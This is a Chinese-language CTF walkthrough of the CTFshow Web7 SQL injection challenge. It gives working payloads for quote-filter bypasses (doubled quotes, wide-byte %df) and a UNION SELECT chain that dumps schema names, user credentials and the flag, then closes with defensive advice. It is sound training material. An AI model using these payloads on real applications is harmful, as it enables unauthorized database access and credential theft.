1. 项目概述
今天我们来拆解CTFshow Web7这道SQL注入题,这是一道典型的单引号绕过题目。作为CTF新手入门必刷的经典题型,它完美展现了SQL注入的核心原理和常见绕过技巧。这道题的关键在于理解单引号过滤机制以及如何利用UNION SELECT进行数据泄露。
我在实际测试中发现,这道题虽然表面简单,但包含了Web安全测试中几个非常重要的知识点:参数注入点判断、单引号过滤绕过、UNION查询构造、数据库信息获取等。下面我会详细讲解每个环节的实战思路和操作细节。
2. 核心需求解析
2.1 题目环境分析
首先我们需要明确题目环境:
- 这是一个基于PHP+MySQL的Web应用
- 存在用户登录功能
- 后端对用户输入的单引号进行了过滤或转义
- 目标是通过SQL注入获取flag信息
典型的测试流程是:
- 寻找可能存在注入的输入点
- 测试注入类型和过滤规则
- 构造绕过过滤的payload
- 获取数据库结构和数据
- 定位并提取flag
2.2 注入点定位技巧
在Web7这道题中,最常见的注入点是登录表单的用户名和密码字段。我们可以通过以下方法确认注入点:
- 在用户名输入
admin'测试单引号是否被过滤 - 输入
1' or '1'='1测试布尔型注入 - 输入
1' union select 1,2,3#测试联合查询注入
注意:在实际测试中,建议使用Burp Suite拦截请求修改参数,比直接在前端输入更灵活
3. 单引号绕过技术详解
3.1 常见单引号过滤方式
后端通常有以下几种方式处理单引号:
- 直接删除:将输入中的单引号去除
- 转义处理:在单引号前加反斜杠(')
- 替换为空:将单引号替换为空字符串
- 编码转换:将单引号转换为HTML实体(')
3.2 绕过方案实战
针对不同的过滤方式,我们可以采用以下绕过技术:
3.2.1 双写绕过
当后端只是简单删除单引号时:
原语句:admin' and 1=1# 绕过方式:admi''n' and 1=1# 处理后:admin' and 1=1# (有效)3.2.2 十六进制编码
原语句:admin' and 1=1# 绕过方式:admin\x27 and 1=1#3.2.3 宽字节注入
当使用GBK等宽字符集时:
原语句:admin' and 1=1# 绕过方式:admin%df' and 1=1# 原理:%df与转义符\组合成合法字符,使单引号逃逸3.2.4 使用字符串函数
原语句:admin' and 1=1# 绕过方式:admin'||' and 1=1# 或:admin'/**/and/**/1=1#4. UNION注入完整流程
4.1 确定字段数
使用ORDER BY确定查询返回的列数:
1' order by 3-- 1' order by 4--当order by 4报错而order by 3正常时,说明有3列
4.2 确定回显位
1' union select 1,2,3--观察页面哪些数字被显示,这些位置可以用来输出数据
4.3 获取数据库信息
1' union select 1,database(),version()-- 1' union select 1,user(),@@version_compile_os--4.4 获取表名
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--4.5 获取列名
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--4.6 提取数据
1' union select 1,username,password from users--5. 实战技巧与注意事项
5.1 常见问题排查
注入语句不生效:
- 检查空格是否被过滤(用/**/替代)
- 确认注释符是否有效(尝试--+、#、%23)
- 测试不同参数位置
回显位不明确:
- 尝试在多个位置输出明显标记
- 查看网页源码可能有隐藏回显
过滤规则复杂:
- 尝试大小写混合
- 使用注释分割关键字
- 尝试编码绕过
5.2 效率优化技巧
- 使用Burp Intruder自动化测试过滤规则
- 先确定最小可用payload再扩展
- 善用group_concat减少请求次数
- 记录成功payload方便后续使用
5.3 安全测试原则
- 仅对授权目标进行测试
- 避免使用可能破坏数据的语句
- 测试完成后清理测试数据
- 控制请求频率避免影响服务
6. 题目完整解题步骤
6.1 初步测试
输入测试payload:
username: admin' and 1=1# password: 任意观察响应判断是否存在注入
6.2 绕过单引号过滤
发现单引号被过滤后,尝试:
username: admin\x27 and 1=1# 或 username: admin%df%27 and 1=1#6.3 确定字段数
username: 1' order by 3-- password: 任意6.4 获取回显位
username: 1' union select 1,2,3-- password: 任意6.5 获取数据库信息
username: 1' union select 1,database(),version()-- password: 任意6.6 获取flag
根据题目设计,flag通常在特定表中:
username: 1' union select 1,flag,3 from flag_table-- password: 任意7. 防御方案建议
7.1 开发层面
- 使用预处理语句(PDO)
- 严格限制输入字符类型
- 实施最小权限原则
- 对敏感操作增加二次验证
7.2 运维层面
- 定期更新数据库补丁
- 配置WAF规则
- 开启SQL日志审计
- 限制数据库远程访问
7.3 监控层面
- 设置异常SQL语句告警
- 监控数据库性能波动
- 定期检查用户权限
- 实施数据库访问白名单
在实际渗透测试中,SQL注入仍然是最高危的漏洞之一。通过这道CTF题,我们不仅学习了绕过技巧,更重要的是理解了防御思路。建议在掌握攻击方法后,多从防御角度思考如何构建更安全的系统。